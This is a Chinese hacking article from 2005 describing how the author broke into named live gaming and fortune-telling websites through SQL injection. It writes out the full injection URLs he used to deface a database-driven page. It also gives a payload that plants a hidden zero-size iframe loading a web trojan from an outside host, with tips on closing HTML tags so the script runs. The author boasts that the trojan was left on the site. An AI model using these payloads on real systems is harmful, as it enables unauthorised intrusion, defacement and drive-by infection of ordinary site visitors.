数据库

本类阅读TOP10

·SQL语句导入导出大全
·SQL Server日期计算
·SQL语句导入导出大全
·SQL to Excel 的应用
·Oracle中password file的作用及说明
·MS SQLServer OLEDB分布式事务无法启动的一般解决方案
·sqlserver2000数据库置疑的解决方法
·一个比较实用的大数据量分页存储过程
·如何在正运行 SQL Server 7.0 的服务器之间传输登录和密码
·SQL中两台服务器间使用连接服务器

分类导航
VC语言Delphi
VB语言ASP
PerlJava
Script数据库
其他语言游戏开发
文件格式网站制作
软件工程.NET开发
劫持数据库,实现跨站攻击

作者:未知 来源:月光软件站 加入时间:2005-5-13 月光软件站

  我们都知道,所谓跨站攻击,就是程序对用户输入的数据缺少充分过滤,当网站浏览者浏览信息时,被输入的恶意脚本就会被执行,这可能是插入一端文字,可能是偷取浏览者cookie信息的java脚本,更有甚着是一段利用IE漏洞的网页木马代码。这种攻击方法与得到webshell后插入木马代码要实现起来要简单容易的多,当然这种方法也有它的缺点,这个我们一会讨论。先说实现跨站攻击的前提条件,当然是网页中要存在输入信息过滤不严的地方。在某些大型的非互交型的网站中,这种输入点一般不好找,所以直接从表面入手相当棘手。
我们换个角度考虑,如果这个网站存在sql注入点的话,结果就不同了。我这里说的数据库是针对MSSQL数据库的(当然对mysql等数据库同时有效,不过处理起来有点困难)利用的还是让人厌烦的但却是很有效的SQL注入漏洞,不过不需要admin权限,只要有 Update权限就够了,一般Db_owner就有这个权限。我们直接修改数据库中的的信息,使得asp程序在调用数据库时,将修改后的网页木马的代码显示在网页中。下面我就用个例子展示一下攻击过程。
在浏览台湾橘子站点:
http://www.gamania.com的时候,发现了这个地方可以注入:
http://fateasia.gamania.com/turtle/index.asp?sid=E00001心中一阵窃喜。像这样的大站也能注入,于是抱着侥幸的心理拿出看家工具NBSI走一走,猜解出如下信息:
权限是Db_Woner要想得到webshell首当其冲的方法是通过Db_Woner的备份权限得到.不过这种方法我在很多网站上都试过了,尤其是大型网站,数据库是相当庞大的,这种方法成功率并不高(至少我一次都没有成功过,毕竟自己技术有限,呵呵)成功不成功试试再说,先用读注册表的方法得到web物理路径:
具体方法,前期黑防都有的介绍,我就不在唠叨一遍拉。拿到路径后当然就是backupwebshell了。
由于我没有看过cyf的这个工具是如何对int型和字符型数据的判断,所以在Url中参数中加了个’,认为是对整型数据的注入。下面我们看看结果如何:
失败,看来常规的攻击不会有什么新的突破,还是另谋他法了。
   后来我仔细看了看这个占卜的网页,看到如下信息:
哦,原来是和www.fatesia.com合作建的站,先ping一下着两个站点:
看到没,是在一个服务器上的。看看打开这个站点看一下:
恩,做的不错啊,网站也挺大的,呵呵,小样别以为你打,咱们就不敢整你了,瞧着,在网站溜个一圈,同样存在注入点,更可惜的是这个站使用的数据库和http://fateasia.gamania.com是同一个数据库:
看来,这个才是主站:
看看咱们backup的木马在这个站上吗:
http://www.fateasia.com/asp.asp返回404错误,看来也不行,郁闷。
此时忽然想到,既然不能直接得到webshell,那我们有没有可能在不得到shell的前提下挂上网页木马或者是跨站攻击脚本呢?因为我们对这个站点的数据库已经有了操作权限了,这在理论上绝对是可行的,兴奋啊,对啊,直接操作数据库跨站攻击的确是个应用特别广泛的方法。使得某些人花费九牛二虎之力弄得个shell才把木马给挂上去,费时又费力。
着只是我的思路而已,我们亲手实践一下看看能成功吗。
   首先要找到asp中的调用数据库的地方,一般动态变化的信息都是对数据库的调用。
我们选择个最明显的地方,(具体的选取,要靠平时大家的经验了,一般经常更新的地方都回调用数据库里的信息)。如下:
这个地方走动的红色文字,应该调用的是据库里的信息。
查看源代码看看:
我选中的字体大家要看清楚了,由于我们有装繁体字库,将选中的字体粘贴到一个本地网页文件里打开,在查看|编码|中选繁体中文:得到如下信息:
好了,我们就在数据库中查找这个信息,由于数据库相当大,我得花费相当长的时间去查找,
工夫不付有心人,终于在数据库中我把着条信息给揪了出来:
在NB中虽然显示的是乱骂,我把这段文字用IE打开看看:
呵呵,和网页中显示的一模一样,看来就是这个地方了,为了证实一下,我update一下数据库里这个字段里的内容:使用如下命令:
http://www.fateasia.com/fate.asp?sid=H00050';update runtext set runtext=’acked by llikz (http://www.hacker.com.cn)’;--
再刷新一下网页看看:
看到了吗,我们已经成功更新了它的数据库里的信息,如此简单的一句话就把这个网站的首页给改掉了,的确感到很有成就感。下面我们就要试着想数据库里注入恶意代码了,我选择了一个网页木马:
http://www.fateasia.com/fate.asp?sid=H00050';update runtext set runtext=’test!!</a></font></marquee><iframe src=http://www.hacker.com.cn/muma.htm width=0 height=0 frameborder=0 ></iframe>’;--
看看结果:
成功了,再来看看源代码:
哈哈,的确把恶意脚本插入到了网页中。攻击成功,太令人兴奋了,无须得到webshell,一个的网页木马已经被植入网页中。
这里要提醒大家,在找到调用的地方后注入恶意代码时,要想让植入网页的脚本执行,一定要闭合前面的html标记,在以上我的注入中
http://www.fateasia.com/fate.asp?sid=H00050';update runtext set runtext=’test!!</a></font></marquee><iframe src=http://www.hacker.com.cn/muma.htm width=0 height=0 frameborder=0 ></iframe>’;--
其中的</a></font></marquee>就是为了闭合前面的着几个标记,似的闭合后下面的<iframe src=http://www.hacker.com.cn/muma.htm width=0 height=0 frameborder=0 ></iframe>可以被浏览器解释执行。大家在具体的使用中要灵活运用,对于注入的文字中含有单引号要使用两个单引号来代替。
   我还要提醒大家,在利用这种方法的时候,一定要确保你的注入语句的正确性,要不非但不会成功,反而可能对数据库造成破坏,利用的时候要谨慎。切记。
   说到着里,虽然这个方法,在实现上已经没有什么问题了,但他还是有缺点的,第一,这种方法生成的网页木马隐蔽性不是很好,第二,在插入代码后,可能会引起网页显示格式的变化。着一点也是它最大的缺点。如果你有更好的隐藏代码而不改变显示布局的方法,一定要告诉我啊, 给我QQ留言,共同探讨:66734111。
     最后把文字给修改回去,不过插入的木马还留在里面,可惜了http://www.hacker.com.cn/muma.htm是个不存在的网页,再次跪求黑防的同志们给俺把马给装上,不枉俺把马地址写到你们网站上。呵呵。



相关文章

相关软件